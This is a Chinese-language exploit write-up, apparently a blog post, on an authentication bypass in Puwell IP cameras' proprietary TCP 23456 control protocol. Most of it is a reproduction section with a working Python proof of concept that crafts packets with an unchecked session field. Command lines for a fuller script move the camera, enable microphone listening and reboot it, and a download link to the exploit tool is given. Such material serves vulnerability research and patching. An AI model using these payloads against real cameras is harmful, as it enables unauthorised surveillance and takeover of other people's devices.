Puwell IP 摄像头未授权访问漏洞深度解析 从心跳包到设备控制

Puwell IP 摄像头未授权访问漏洞深度解析 从心跳包到设备控制

_

漏洞简介

  • CVE-2026-61514 是 Puwell IP 摄像头中的 Critical 级别身份认证绕过漏洞,CVSS 评分 9.3(NVD)/ 10.0(VulDB)。该漏洞存在于摄像头暴露的专有 TCP 控制服务中(端口 23456),核心问题是协议头部中的 Session 字段未被验证,接受任意值,且无需建立有效会话即可发送特权命令。

  • 通过逆向分析固件,研究者可重构筑造符合协议格式的命令包。攻击者只需发送指定操作码(opcode)即可执行以下操作:访问实时视频流、控制云台/倾斜电机(PTZ)、激活/禁用音频功能、远程重启设备、执行其他专有协议命令。

  • 该漏洞的影响链路:发现目标摄像头 → 连接 TCP 23456 端口 → 发送构造的心跳包验证漏洞 → 发送控制命令实现 PTZ 操作/音频控制/设备重启 → 完全接管设备控制权。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-61514

影响范围

Puwell IP Camera 固件 2.x - 4.x

影响组件

TCP 23456 端口专有控制协议

漏洞类型

身份认证绕过(CWE-306)未授权访问

特别注意:无需任何认证即可完全控制设备。暴露在公网或未经隔离的 IoT 摄像头存在高风险。

漏洞复现

  • 准备环境

项类别

详细内容

环境

Python 3.x socket 库 + struct 库

目标版本

Puwell IP Camera 固件 2.x - 4.x

前置条件

目标 TCP 23456 端口可达 同一网络或通过 UDP Hole Punching

复现步骤

````
步骤 1:基础验证(心跳包探测)

使用最小 PoC 验证目标是否存在漏洞:

```bash
python3 cve-2026-61514-minimal.py
```

修改脚本中的 TARGET_IP 为实际目标地址,发送心跳包并检查响应:

```python
import socket
import struct

TARGET_IP = "192.168.2.42"
PORT = 23456
SESSION = 0xbadc0de0
FIELD = 0x02963ED5
OP_HEARTBEAT = 0x0001

def build_packet(opcode, payload):
    header = struct.pack("<IIII", 0xFFEEDDCC, opcode, SESSION, len(payload))
    return header + payload

payload = struct.pack("<II", 0, FIELD) + b"\x00" * 20
packet = build_packet(OP_HEARTBEAT, payload)

sock = socket.create_connection((TARGET_IP, PORT))
sock.sendall(packet)
response = sock.recv(1024)
print(f"Response: {response.hex()}")
sock.close()
```

````
步骤 2:完整利用(多命令测试)  
  
使用完整版 PoC 执行多种操作:  
  
\`\`\`bash  
\# 检查目标可达性  
python3 cve-2026-61514.py --target 192.168.1.100 --action check  
  
\# 发送心跳包验证  
python3 cve-2026-61514.py --target 192.168.1.100 --action heartbeat  
\`\`\`  
  
成功输出示例:  
\`\`\`  
[+] Connecting to 192.168.1.100:23456...  
[+] Sending heartbeat packet...  
[+] Response received (32 bytes)  
[+] Response hex: ffddeeff01deadbeef00000020...  
[+] Vulnerability confirmed!  
\`\`\`
````
步骤 3:PTZ 控制

远程控制云台/倾斜电机:

```bash
# 向上移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction up

# 向下移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction down

# 向左移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction left

# 向右移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction right
```

````
````
步骤 4:音频控制

启用/禁用麦克风功能:

```bash
# 启用音频监听
python3 cve-2026-61514.py --target 192.168.1.100 --action audio --enable

# 禁用音频
python3 cve-2026-61514.py --target 192.168.1.100 --action audio
```

````
步骤 5:远程重启
bash  
python3 cve-2026-61514.py --target 192.168.1.100 --action restart  

利用工具下载

网盘

链接

mega

https://mega.nz/file/mKR13ahL#IOFXhzZil_XjJA_FogoEnPWEXlM8zPdXmnm5wXUg47o

SharePoint JWT 认证绕过漏洞深度解析,从伪造令牌到站点管理员接管 2026-08-15
SAP Commerce Cloud 未授权RCE漏洞深度解析 从默认认证到任意代码执行 2026-08-17